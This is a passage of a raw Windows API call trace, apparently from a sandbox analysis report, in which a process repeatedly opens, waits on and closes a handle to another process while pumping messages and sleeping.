hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.255] Sleep (dwMilliseconds=0x1) [0124.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.264] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.279] CloseHandle (hObject=0xad4) returned 1 [0124.279] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.279] Sleep (dwMilliseconds=0x1) [0124.296] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.296] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.326] CloseHandle (hObject=0xad4) returned 1 [0124.326] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.326] Sleep (dwMilliseconds=0x1) [0124.351] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.352] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.357] CloseHandle (hObject=0xad4) returned 1 [0124.357] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.357] Sleep (dwMilliseconds=0x1) [0124.374] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.374] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.390] CloseHandle (hObject=0xad4) returned 1 [0124.390] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.390] Sleep (dwMilliseconds=0x1) [0124.404] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.404] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.420] CloseHandle (hObject=0xad4) returned 1 [0124.420] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.420] Sleep (dwMilliseconds=0x1) [0124.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.435] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.451] CloseHandle (hObject=0xad4) returned 1 [0124.451] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.451] Sleep (dwMilliseconds=0x1) [0124.474] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.474] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.482] CloseHandle (hObject=0xad4) returned 1 [0124.482] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.482] Sleep (dwMilliseconds=0x1) [0124.498] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.498] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.514] CloseHandle (hObject=0xad4) returned 1 [0124.514] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.514] Sleep (dwMilliseconds=0x1) [0124.529] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.529] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.545] CloseHandle (hObject=0xad4) returned 1 [0124.545] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.545] Sleep (dwMilliseconds=0x1) [0124.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.561] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.581] CloseHandle (hObject=0xad4) returned 1 [0124.581] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.581] Sleep (dwMilliseconds=0x1) [0124.591] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.591] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.607] CloseHandle (hObject=0xad4) returned 1 [0124.607] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.607] Sleep (dwMilliseconds=0x1) [0124.622] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.623] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.683] CloseHandle (hObject=0xad4) returned 1 [0124.683] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.683] Sleep (dwMilliseconds=0x1) [0124.685] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.685] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.700] CloseHandle (hObject=0xad4) returned 1 [0124.700] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.700] Sleep (dwMilliseconds=0x1) [0124.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.716] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.763] CloseHandle (hObject=0xad4) returned 1 [0124.763] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.763] Sleep (dwMilliseconds=0x1) [0124.779] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.779] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.794] CloseHandle (hObject=0xad4) returned 1 [0124.794] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.794] Sleep (dwMilliseconds=0x1) [0124.810] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.810] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.825] CloseHandle (hObject=0xad4) returned 1 [0124.825] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.825] Sleep (dwMilliseconds=0x1) [0124.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.841] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.856] CloseHandle (hObject=0xad4) returned 1 [0124.856] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.856] Sleep (dwMilliseconds=0x1) [0124.872] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.872] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.887] CloseHandle (hObject=0xad4) returned 1 [0124.888] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.888] Sleep (dwMilliseconds=0x1) [0124.903] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.903] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.919] CloseHandle (hObject=0xad4) returned 1 [0124.919] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.919] Sleep (dwMilliseconds=0x1) [0124.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.939] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.950] CloseHandle (hObject=0xad4) returned 1 [0124.951] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.951] Sleep (dwMilliseconds=0x1) [0124.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.966] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0124.985] CloseHandle (hObject=0xad4) returned 1 [0124.985] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0124.985] Sleep (dwMilliseconds=0x1) [0124.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0124.997] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0125.012] CloseHandle (hObject=0xad4) returned 1 [0125.012] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.012] Sleep (dwMilliseconds=0x1) [0125.047] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0125.047] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0125.059] CloseHandle (hObject=0xad4) returned 1 [0125.059] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.059] Sleep (dwMilliseconds=0x1) [0125.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0125.076] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0125.091] CloseHandle (hObject=0xad4) returned 1 [0125.091] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.091] Sleep (dwMilliseconds=0x1) [0125.117] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0125.117] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0125.122] CloseHandle (hObject=0xad4) returned 1 [0125.122] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.122] Sleep (dwMilliseconds=0x1) [0125.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0125.137] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0125.161] CloseHandle (hObject=0xad4) returned 1 [0125.161] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.161] Sleep (dwMilliseconds=0x1) [0125.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0125.170] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0125.185] CloseHandle (hObject=0xad4) returned 1 [0125.185] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.185] Sleep (dwMilliseconds=0x1) [0125.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0125.200] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0125.215] CloseHandle (hObject=0xad4) returned 1 [0125.215] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.215] Sleep (dwMilliseconds=0x1) [0125.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0125.232] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0125.263] CloseHandle (hObject=0xad4) returned 1 [0125.263] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.263] Sleep (dwMilliseconds=0x1) [0125.274] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.274] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.277] CloseHandle (hObject=0xad0) returned 1 [0125.277] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.277] Sleep (dwMilliseconds=0x1) [0125.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.294] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.309] CloseHandle (hObject=0xad0) returned 1 [0125.309] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.309] Sleep (dwMilliseconds=0x1) [0125.324] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.324] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.352] CloseHandle (hObject=0xad0) returned 1 [0125.352] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.352] Sleep (dwMilliseconds=0x1) [0125.356] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.356] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.371] CloseHandle (hObject=0xad0) returned 1 [0125.371] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.371] Sleep (dwMilliseconds=0x1) [0125.393] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.393] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.402] CloseHandle (hObject=0xad0) returned 1 [0125.402] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.402] Sleep (dwMilliseconds=0x1) [0125.418] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.418] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.433] CloseHandle (hObject=0xad0) returned 1 [0125.434] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.434] Sleep (dwMilliseconds=0x1) [0125.449] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.449] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.466] CloseHandle (hObject=0xad0) returned 1 [0125.466] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.466] Sleep (dwMilliseconds=0x1) [0125.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.482] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.497] CloseHandle (hObject=0xad0) returned 1 [0125.497] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.497] Sleep (dwMilliseconds=0x1) [0125.511] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.512] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.527] CloseHandle (hObject=0xad0) returned 1 [0125.527] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.527] Sleep (dwMilliseconds=0x1) [0125.543] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.543] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.559] CloseHandle (hObject=0xad0) returned 1 [0125.559] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.559] Sleep (dwMilliseconds=0x1) [0125.579] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.579] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.619] CloseHandle (hObject=0xad0) returned 1 [0125.619] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.620] Sleep (dwMilliseconds=0x1) [0125.623] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.623] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.636] CloseHandle (hObject=0xad0) returned 1 [0125.636] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.636] Sleep (dwMilliseconds=0x1) [0125.652] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.652] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.667] CloseHandle (hObject=0xad0) returned 1 [0125.668] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.668] Sleep (dwMilliseconds=0x1) [0125.684] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.684] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.699] CloseHandle (hObject=0xad0) returned 1 [0125.699] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.699] Sleep (dwMilliseconds=0x1) [0125.714] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.714] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.733] CloseHandle (hObject=0xad0) returned 1 [0125.733] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.733] Sleep (dwMilliseconds=0x1) [0125.746] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.746] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.761] CloseHandle (hObject=0xad0) returned 1 [0125.761] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.761] Sleep (dwMilliseconds=0x1) [0125.777] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.777] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.792] CloseHandle (hObject=0xad0) returned 1 [0125.792] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.792] Sleep (dwMilliseconds=0x1) [0125.808] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.808] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.824] CloseHandle (hObject=0xad0) returned 1 [0125.824] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.824] Sleep (dwMilliseconds=0x1) [0125.839] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.839] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.866] CloseHandle (hObject=0xad0) returned 1 [0125.866] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.866] Sleep (dwMilliseconds=0x1) [0125.870] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.870] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.886] CloseHandle (hObject=0xad0) returned 1 [0125.886] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.886] Sleep (dwMilliseconds=0x1) [0125.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.902] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.917] CloseHandle (hObject=0xad0) returned 1 [0125.917] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.917] Sleep (dwMilliseconds=0x1) [0125.933] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.933] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.956] CloseHandle (hObject=0xad0) returned 1 [0125.956] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.956] Sleep (dwMilliseconds=0x1) [0125.964] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.964] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0125.984] CloseHandle (hObject=0xad0) returned 1 [0125.984] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0125.984] Sleep (dwMilliseconds=0x1) [0125.995] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0125.995] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.010] CloseHandle (hObject=0xad0) returned 1 [0126.010] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.011] Sleep (dwMilliseconds=0x1) [0126.026] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.026] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.044] CloseHandle (hObject=0xad0) returned 1 [0126.044] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.045] Sleep (dwMilliseconds=0x1) [0126.057] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.058] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.073] CloseHandle (hObject=0xad0) returned 1 [0126.073] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.073] Sleep (dwMilliseconds=0x1) [0126.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.090] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.106] CloseHandle (hObject=0xad0) returned 1 [0126.106] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.106] Sleep (dwMilliseconds=0x1) [0126.120] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.120] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.135] CloseHandle (hObject=0xad0) returned 1 [0126.135] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.135] Sleep (dwMilliseconds=0x1) [0126.151] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0126.151] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0126.180] CloseHandle (hObject=0xad0) returned 1 [0126.180] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0126.180] Sleep (dwMilliseconds=0x1) [0126.182] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 